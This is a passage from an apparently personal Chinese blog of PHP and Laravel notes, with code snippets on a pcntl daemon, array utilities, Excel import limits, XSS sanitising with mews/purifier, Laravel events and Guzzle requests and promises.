class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 守护进程的任务</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">job</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">//TODO 你的守护经常需要执行的任务</span></span><br><span class="line">        <span class="keyword">while</span> (<span class="literal">true</span>) &#123;</span><br><span class="line">            file_put_contents(<span class="string">'/var/www/html/queue/public/job.log'</span>, <span class="string">'job'</span> . PHP_EOL, FILE_APPEND);</span><br><span class="line">            sleep(<span class="number">5</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 获取守护进程的id</span></span><br><span class="line"><span class="comment">     * @return int</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">_getPid</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="comment">//判断存放守护进程id的文件是否存在</span></span><br><span class="line">        <span class="keyword">if</span> (!file_exists($<span class="keyword">this</span>-&gt;_pidFile)) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        $pid = intval(file_get_contents($<span class="keyword">this</span>-&gt;_pidFile));</span><br><span class="line">        <span class="keyword">if</span> (posix_kill($pid, SIG_DFL)) &#123;<span class="comment">//判断该进程是否正常运行中</span></span><br><span class="line">            <span class="keyword">return</span> $pid;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            unlink($<span class="keyword">this</span>-&gt;_pidFile);</span><br><span class="line">            <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 判断pcntl拓展</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">_checkPcntl</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        !function_exists(<span class="string">'pcntl_signal'</span>) &amp;&amp; die(<span class="string">'Error:Need PHP Pcntl extension!'</span>);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">_message</span>(<span class="params">$message</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        printf(<span class="string">"%s  %d %d  %s"</span> . PHP_EOL, date(<span class="string">"Y-m-d H:i:s"</span>), posix_getpid(), posix_getppid(), $message);</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 开启守护进程</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">start</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;_getPid() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;_message(<span class="string">'Running'</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;_demonize();</span><br><span class="line">            $<span class="keyword">this</span>-&gt;_message(<span class="string">'Start'</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">/**</span></span><br><span class="line"><span class="comment">     * 停止守护进程</span></span><br><span class="line"><span class="comment">     */</span></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">stop</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $pid = $<span class="keyword">this</span>-&gt;_getPid();</span><br><span class="line">        <span class="keyword">if</span> ($pid &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            <span class="comment">//通过向进程id发送终止信号来停止进程</span></span><br><span class="line">            posix_kill($pid, SIGTERM);</span><br><span class="line">            unlink($<span class="keyword">this</span>-&gt;_pidFile);</span><br><span class="line">            echo <span class="string">'Stoped'</span> . PHP_EOL;</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            echo <span class="string">"Not Running"</span> . PHP_EOL;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    private <span class="function"><span class="keyword">function</span> <span class="title">status</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        <span class="keyword">if</span> ($<span class="keyword">this</span>-&gt;_getPid() &gt; <span class="number">0</span>) &#123;</span><br><span class="line">            $<span class="keyword">this</span>-&gt;_message(<span class="string">'Is Running'</span>);</span><br><span class="line">        &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">            echo <span class="string">'Not Running'</span> . PHP_EOL;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    public <span class="function"><span class="keyword">function</span> <span class="title">run</span>(<span class="params">$argv</span>)</span></span><br><span class="line"><span class="function">    </span>&#123;</span><br><span class="line">        $param = is_array($argv) &amp;&amp; count($argv) == <span class="number">2</span> ? $argv[<span class="number">1</span>] : <span class="literal">null</span>;</span><br><span class="line">        <span class="keyword">switch</span> ($param) &#123;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'start'</span>:</span><br><span class="line">                $<span class="keyword">this</span>-&gt;start();</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'stop'</span>:</span><br><span class="line">                $<span class="keyword">this</span>-&gt;stop();</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">case</span> <span class="string">'status'</span>:</span><br><span class="line">                $<span class="keyword">this</span>-&gt;status();</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">            <span class="keyword">default</span>:</span><br><span class="line">                echo <span class="string">"Argv start|stop|status "</span> . PHP_EOL;</span><br><span class="line">                <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">$deamon = <span class="keyword">new</span> \Deamon();</span><br><span class="line">$deamon-&gt;run($argv);</span><br><span class="line">开启守护进程：php demon.php start</span><br><span class="line">停止守护进程：php demon.php stop</span><br><span class="line">查看守护进程的状态：php demon.php status</span><br></pre></td></tr></table></figure>
<h3 id="laravel获取记录的原始属性"><a href="#laravel获取记录的原始属性" class="headerlink" title="laravel获取记录的原始属性"></a>laravel获取记录的原始属性</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">$user = App\User::first();</span><br><span class="line">$user-&gt;name;                   <span class="comment">//John</span></span><br><span class="line"></span><br><span class="line">$user-&gt;name = <span class="string">"Peter"</span>;         <span class="comment">//Peter</span></span><br><span class="line"></span><br><span class="line">$user-&gt;getOriginal(<span class="string">'name'</span>);    <span class="comment">//John</span></span><br><span class="line">$user-&gt;getOriginal();          <span class="comment">//原始 $user 记录</span></span><br></pre></td></tr></table></figure>
<h3 id="获取重复值"><a href="#获取重复值" class="headerlink" title="获取重复值"></a>获取重复值</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">// 获取去掉重复数据的数组</span></span><br><span class="line">$a = [<span class="number">1</span>,<span class="number">2</span>,<span class="number">3</span>,<span class="number">4</span>,<span class="number">5</span>,<span class="number">6</span>,<span class="number">3</span>,<span class="number">6</span>];</span><br><span class="line">$uniqueArr = array_unique ($a);</span><br><span class="line"><span class="comment">// 获取重复数据的数组 array_diff_assoc() 返回一个数组，该数组包括了所有在 array1 中但是不在任何其它参数数组中的值。注意和 array_diff() 不同的是键名也用于比较。</span></span><br><span class="line">$repeatArr = array_diff_assoc ($a,$uniqueArr);</span><br><span class="line">var_dump($repeatArr);</span><br><span class="line">结果：</span><br><span class="line">array(<span class="number">2</span>) &#123;</span><br><span class="line">  [<span class="number">6</span>]=&gt;</span><br><span class="line">  int(<span class="number">3</span>)</span><br><span class="line">  [<span class="number">7</span>]=&gt;</span><br><span class="line">  int(<span class="number">6</span>)</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="表限制"><a href="#表限制" class="headerlink" title="表限制"></a>表限制</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">表数据限制：</span><br><span class="line"><span class="number">1</span>、Excel <span class="number">2003</span>及以下的版本。一张表最大支持<span class="number">65536</span>行数据，<span class="number">256</span>列。</span><br><span class="line"><span class="number">2</span>、Excel <span class="number">2007</span><span class="number">-2010</span>版本。一张表最大支持<span class="number">1048576</span>行，<span class="number">16384</span>列。</span><br><span class="line">https:<span class="comment">//laravel-china.org/articles/22724 </span></span><br><span class="line">也就是说你想几百万条轻轻松松一次性导入一张EXCEL表是不行的，你起码需要进行数据分割，保证数据不能超过<span class="number">104</span>W一张表。</span><br><span class="line"></span><br><span class="line">PHPexcel内存溢出：</span><br><span class="line">既然数据限制在<span class="number">104</span>W，那么数据分割就数据分割呗，于是你尝试<span class="number">50</span>W一次导入表，然而PHPexcel内部有函数报内存溢出错误，然后你就不断的调小数据量，直到<span class="number">5</span>W一次导入你都会发现有内存溢出错误。</span><br></pre></td></tr></table></figure>
<h3 id="带索引检查计算数组的差集"><a href="#带索引检查计算数组的差集" class="headerlink" title="带索引检查计算数组的差集"></a>带索引检查计算数组的差集</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">$array1 = array(<span class="string">"a"</span> =&gt; <span class="string">"green"</span>, <span class="string">"b"</span> =&gt; <span class="string">"brown"</span>, <span class="string">"c"</span> =&gt; <span class="string">"blue"</span>, <span class="string">"red"</span>);</span><br><span class="line">$array2 = array(<span class="string">"a"</span> =&gt; <span class="string">"green"</span>, <span class="string">"yellow"</span>, <span class="string">"red"</span>);</span><br><span class="line"></span><br><span class="line">$result = array_diff_assoc($array1, $array2);</span><br><span class="line"></span><br><span class="line">print_r($result); <span class="comment">// 输出：["b" =&gt; "brown", "c" =&gt; "blue", 0 =&gt; "red"]</span></span><br><span class="line"><span class="comment">// 大家可以发现这里 red 有输出，为啥呢，因为第二个数组中 red 的 key 为 1。与数组一中的 key 为 0，不一致，所以有输出。https://laravel-china.org/articles/22678</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// Laravel</span></span><br><span class="line"></span><br><span class="line">        $array1 = collect([</span><br><span class="line">            <span class="string">"a"</span> =&gt; <span class="string">"green"</span>,</span><br><span class="line">            <span class="string">"b"</span> =&gt; <span class="string">"brown"</span>,</span><br><span class="line">            <span class="string">"c"</span> =&gt; <span class="string">"blue"</span>, <span class="string">"red"</span></span><br><span class="line">        ]);</span><br><span class="line">        $array2 = [</span><br><span class="line">            <span class="string">"a"</span> =&gt; <span class="string">"green"</span>,</span><br><span class="line">            <span class="string">"yellow"</span>, <span class="string">"red"</span></span><br><span class="line">        ];</span><br><span class="line"></span><br><span class="line">        <span class="keyword">return</span> $array1-&gt;diffAssoc($array2);</span><br><span class="line"></span><br><span class="line"><span class="comment">// Result </span></span><br><span class="line">&#123;</span><br><span class="line"><span class="string">"0"</span>: <span class="string">"red"</span>,</span><br><span class="line"><span class="string">"b"</span>: <span class="string">"brown"</span>,</span><br><span class="line"><span class="string">"c"</span>: <span class="string">"blue"</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>
<h3 id="过滤xss"><a href="#过滤xss" class="headerlink" title="过滤xss"></a>过滤xss</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">$ composer <span class="built_in">require</span> <span class="string">"mews/purifier:~2.0"</span></span><br><span class="line">$ php artisan vendor:publish --provider=<span class="string">"Mews\Purifier\PurifierServiceProvider"</span></span><br><span class="line">$topic-&gt;body = clean($topic-&gt;body, <span class="string">'default'</span>);</span><br></pre></td></tr></table></figure>
<h3 id="laravel事件队列"><a href="#laravel事件队列" class="headerlink" title="laravel事件队列"></a>laravel事件队列</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br></pre></td><td class="code"><pre><span class="line">&lt;?php</span><br><span class="line">   namespace App\Htt\Controllers;</span><br><span class="line">   use Illuminate\Http\Request;</span><br><span class="line">   <span class="comment">//我们先引入一个事件类，名字自定义的，之后再一步一步创建</span></span><br><span class="line">   use App\Events\Register;</span><br><span class="line">   <span class="class"><span class="keyword">class</span> <span class="title">UserController</span> <span class="keyword">extends</span> <span class="title">Controller</span></span></span><br><span class="line"><span class="class">   </span>&#123;</span><br><span class="line">       public <span class="function"><span class="keyword">function</span> <span class="title">register</span>(<span class="params">Request $request</span>)</span></span><br><span class="line"><span class="function">       </span>&#123;</span><br><span class="line">           <span class="comment">//获取参数</span></span><br><span class="line">           <span class="comment">//验证参数</span></span><br><span class="line">           <span class="comment">//写入数据库</span></span><br><span class="line">           <span class="comment">//触发事件，以后所有需要注册后要做的事情，都不需要再这里加代码了，我们只需要管理事件就好了</span></span><br><span class="line">           <span class="comment">//event方法是laravel自带方法, $uid是外部参数，看你需要做什么，传什么参数了。注册之后肯定有$uid的嘛</span></span><br><span class="line">           event(<span class="keyword">new</span> Register($uid));</span><br><span class="line">           <span class="comment">//return 注册信息</span></span><br><span class="line"></span><br><span class="line">       &#125;</span><br><span class="line">   &#125;</span><br><span class="line">    &lt;?php</span><br><span class="line"> </span><br><span class="line">       namespace App\Providers;</span><br><span class="line">       use Laravel\Lumen\Providers\EventServiceProvider <span class="keyword">as</span> ServiceProvider</span><br><span class="line">       <span class="class"><span class="keyword">class</span> <span class="title">EventServiceProvider</span> <span class="keyword">extends</span> <span class="title">ServiceProvider</span></span></span><br><span class="line"><span class="class">       </span>&#123;</span><br><span class="line"></span><br><span class="line">           protected $listen = [</span><br><span class="line">               <span class="comment">// 用户注册后的事件</span></span><br><span class="line">               <span class="string">'App\Events\Register'</span> =&gt; [</span><br><span class="line">                   <span class="comment">// 发送广告邮件</span></span><br><span class="line">                   <span class="string">'App\Listeners\SendAdMail'</span>,</span><br><span class="line">                   <span class="comment">// 发送短信</span></span><br><span class="line">                   <span class="string">'App\Listeners\SendSms'</span>,</span><br><span class="line">                   <span class="comment">// 发送帮助信息</span></span><br><span class="line">                   <span class="string">'App\Listeners\SendHelpInformation'</span>,</span><br><span class="line">   </span><br><span class="line">               ],</span><br><span class="line">           ];</span><br><span class="line">       &#125;</span><br><span class="line">        &lt;?php</span><br><span class="line">       </span><br><span class="line">           namespace App\Events;</span><br><span class="line">       </span><br><span class="line">           <span class="class"><span class="keyword">class</span> <span class="title">Register</span></span></span><br><span class="line"><span class="class">           </span>&#123;</span><br><span class="line">       </span><br><span class="line">               public $uid;</span><br><span class="line">       </span><br><span class="line">               <span class="comment">/**</span></span><br><span class="line"><span class="comment">                * 创建一个新的事件实例.</span></span><br><span class="line"><span class="comment">                *</span></span><br><span class="line"><span class="comment">                * @param  Order  $order</span></span><br><span class="line"><span class="comment">                * @return void</span></span><br><span class="line"><span class="comment">                */</span></span><br><span class="line">               public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params">$uid</span>)</span></span><br><span class="line"><span class="function">               </span>&#123;</span><br><span class="line">                   $<span class="keyword">this</span>-&gt;uid = $uid;</span><br><span class="line">               &#125;</span><br><span class="line">           &#125;</span><br><span class="line">            &lt;?php</span><br><span class="line">           </span><br><span class="line">               namespace App\Listeners;</span><br><span class="line">           </span><br><span class="line">               use App\Events\Register;</span><br><span class="line">               use App\Models\User;</span><br><span class="line">               use Illuminate\Contracts\Queue\ShouldQueue;</span><br><span class="line">           </span><br><span class="line">               <span class="class"><span class="keyword">class</span> <span class="title">SendHelpInformation</span> <span class="title">implements</span> <span class="title">ShouldQueue</span></span></span><br><span class="line"><span class="class">               </span>&#123;</span><br><span class="line">           </span><br><span class="line">                   public <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function">                   </span>&#123;</span><br><span class="line">                       <span class="comment">//</span></span><br><span class="line">                   &#125;</span><br><span class="line">           </span><br><span class="line">                   public <span class="function"><span class="keyword">function</span> <span class="title">handle</span>(<span class="params">Register $event</span>)</span></span><br><span class="line"><span class="function">                   </span>&#123;</span><br><span class="line">                       $uid = $event-&gt;uid;</span><br><span class="line">           </span><br><span class="line">                       $user = User::find($uid);</span><br><span class="line">           </span><br><span class="line">                       <span class="comment">//......各种实现</span></span><br><span class="line">                   &#125;</span><br><span class="line">               &#125;</span><br></pre></td></tr></table></figure>
<h3 id="guzzle上传图片"><a href="#guzzle上传图片" class="headerlink" title="guzzle上传图片"></a>guzzle上传图片</h3><figure class="highlight"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">$client = <span class="keyword">new</span> \GuzzleHttp\Client();</span><br><span class="line">        $body = fopen(<span class="string">'/home/summer/图片/dog1.jpg'</span>, <span class="string">'r'</span>);<span class="comment">//https://laravel-china.org/articles/22813?#reply79441</span></span><br><span class="line">        $response = $client-&gt;request(<span class="string">'POST'</span>, <span class="string">'http://account.chr.test/upload'</span>,</span><br><span class="line">            [</span><br><span class="line">                <span class="string">'multipart'</span> =&gt; [</span><br><span class="line">                    [</span><br><span class="line">                        <span class="string">'name'</span> =&gt; <span class="string">'body'</span>,</span><br><span class="line">                        <span class="string">'contents'</span> =&gt; fopen(<span class="string">'/home/summer/图片/dog1.jpg'</span>, <span class="string">'r'</span>)</span><br><span class="line">                    ],</span><br><span class="line">                ]</span><br><span class="line">            ]</span><br><span class="line">        );</span><br><span class="line">        dump($response-&gt;getStatusCode());   #打印响应信息</span><br><span class="line">        dump($response-&gt;getBody());</span><br><span class="line">        dump(json_decode($response-&gt;getBody()-&gt;getContents()));   #输出结果</span><br></pre></td></tr></table></figure>
<h3 id="guzzle"><a href="#guzzle" class="headerlink" title="guzzle"></a>guzzle</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//https://media.readthedocs.org/pdf/guzzle/5.3/guzzle.pdf</span></span><br><span class="line">use GuzzleHttp\Event\EmitterInterface;</span><br><span class="line">use GuzzleHttp\Event\SubscriberInterface;</span><br><span class="line">use GuzzleHttp\Event\BeforeEvent;</span><br><span class="line">use GuzzleHttp\Event\CompleteEvent;</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">SimpleSubscriber</span> <span class="title">implements</span> <span class="title">SubscriberInterface</span></span></span><br><span class="line"><span class="class"></span>&#123;</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">getEvents</span>(<span class="params"></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="keyword">return</span> [</span><br><span class="line"><span class="comment">// Provide name and optional priority</span></span><br><span class="line"><span class="string">'before'</span> =&gt; [<span class="string">'onBefore'</span>, <span class="number">100</span>],</span><br><span class="line"><span class="string">'complete'</span> =&gt; [<span class="string">'onComplete'</span>],</span><br><span class="line"><span class="comment">// You can pass a list of listeners with different priorities</span></span><br><span class="line"><span class="string">'error'</span> =&gt; [[<span class="string">'beforeError'</span>, <span class="string">'first'</span>], [<span class="string">'afterError'</span>, <span class="string">'last'</span>]]</span><br><span class="line">];</span><br><span class="line">&#125;</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">onBefore</span>(<span class="params">BeforeEvent $event, $name</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">echo <span class="string">'Before!'</span>;</span><br><span class="line">&#125;</span><br><span class="line">public <span class="function"><span class="keyword">function</span> <span class="title">onComplete</span>(<span class="params">CompleteEvent $event, $name</span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">echo <span class="string">'Complete!'</span>;</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">$client = <span class="keyword">new</span> GuzzleHttp\Client();</span><br><span class="line">$emitter = $client-&gt;getEmitter();</span><br><span class="line">$subscriber = <span class="keyword">new</span> SimpleSubscriber();</span><br><span class="line">$emitter-&gt;attach($subscriber);</span><br><span class="line"><span class="comment">//to remove the listeners</span></span><br><span class="line">$emitter-&gt;detach($subscriber);</span><br><span class="line">use GuzzleHttp\Client;</span><br><span class="line">use GuzzleHttp\Event\EmitterInterface;</span><br><span class="line">use GuzzleHttp\Event\BeforeEvent;</span><br><span class="line">$client = <span class="keyword">new</span> Client([<span class="string">'base_url'</span> =&gt; <span class="string">'http://httpbin.org'</span>]);</span><br><span class="line">$request = $client-&gt;createRequest(<span class="string">'GET'</span>, <span class="string">'/'</span>);</span><br><span class="line">$request-&gt;getEmitter()-&gt;on(</span><br><span class="line"><span class="string">'before'</span>,</span><br><span class="line"><span class="function"><span class="keyword">function</span> (<span class="params">BeforeEvent $e, $name</span>) </span>&#123;</span><br><span class="line">echo $name . <span class="string">"\n"</span>;</span><br><span class="line"><span class="comment">// "before"</span></span><br><span class="line">echo $e-&gt;getRequest()-&gt;getMethod() . <span class="string">"\n"</span>;</span><br><span class="line"><span class="comment">// "GET" / "POST" / "PUT" / etc.</span></span><br><span class="line">echo get_class($e-&gt;getClient());</span><br><span class="line"><span class="comment">// "GuzzleHttp\Client"</span></span><br><span class="line">&#125;</span><br><span class="line">);</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">json_decode</span>(<span class="params">$json, $assoc = false, $depth = <span class="number">512</span>, $options = <span class="number">0</span></span>)</span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    $data = \json_decode($json, $assoc, $depth, $options);</span><br><span class="line">    <span class="keyword">if</span> (JSON_ERROR_NONE !== json_last_error()) &#123;</span><br><span class="line">        <span class="keyword">throw</span> <span class="keyword">new</span> \InvalidArgumentException(</span><br><span class="line">            <span class="string">'json_decode error: '</span> . json_last_error_msg()</span><br><span class="line">        );</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> $data;</span><br><span class="line">&#125;</span><br><span class="line">https:<span class="comment">//learnku.com/laravel/t/3553/how-to-read-the-json-data-in-the-response-response-to-guzzle</span></span><br><span class="line">\Guzzle\json_decode( (string) $response-&gt;getBody(), <span class="literal">true</span>);</span><br><span class="line"></span><br><span class="line">GuzzleHttp\<span class="built_in">Promise</span>是对Promises/A+的一个实现。</span><br><span class="line">实现功能有：</span><br><span class="line"><span class="number">1.</span>异步链式执行。</span><br><span class="line"><span class="number">2.</span>cancel操作(<span class="built_in">Promise</span>状态仍然处于pending时)</span><br><span class="line"><span class="number">3.</span>wait同步链式执行</span><br><span class="line">echo <span class="string">'step1'</span>;</span><br><span class="line">$promise = <span class="keyword">new</span> \GuzzleHttp\<span class="built_in">Promise</span>\<span class="built_in">Promise</span>();</span><br><span class="line">$promise-&gt;resolve(<span class="string">'step 3");</span></span><br><span class="line"><span class="string">$promise-&gt;then(function($param)&#123;echo $param;&#125;);</span></span><br><span class="line"><span class="string">echo '</span>step2<span class="string">';</span></span><br><span class="line"><span class="string">// 执行顺序</span></span><br><span class="line"><span class="string">step1</span></span><br><span class="line"><span class="string">step2</span></span><br><span class="line"><span class="string">step3</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">$promise-&gt;then(function($param)&#123;echo $param; return $param."1";&#125;)</span></span><br><span class="line"><span class="string">-&gt;then(function($param)&#123;echo $param."2";&#125;)</span></span><br><span class="line"><span class="string">-&gt;then(function($param)&#123;echo $param."3";&#125;);</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">echo '</span>step1<span class="string">';</span></span><br><span class="line"><span class="string">$promise = new \GuzzleHttp\Promise\Promise();</span></span><br><span class="line"><span class="string">$promise-&gt;resolve('</span>step <span class="number">3</span><span class="string">");</span></span><br><span class="line"><span class="string">$promise-&gt;then(function($param)&#123;echo $param;&#125;)-&gt;wait();</span></span><br><span class="line"><span class="string">echo 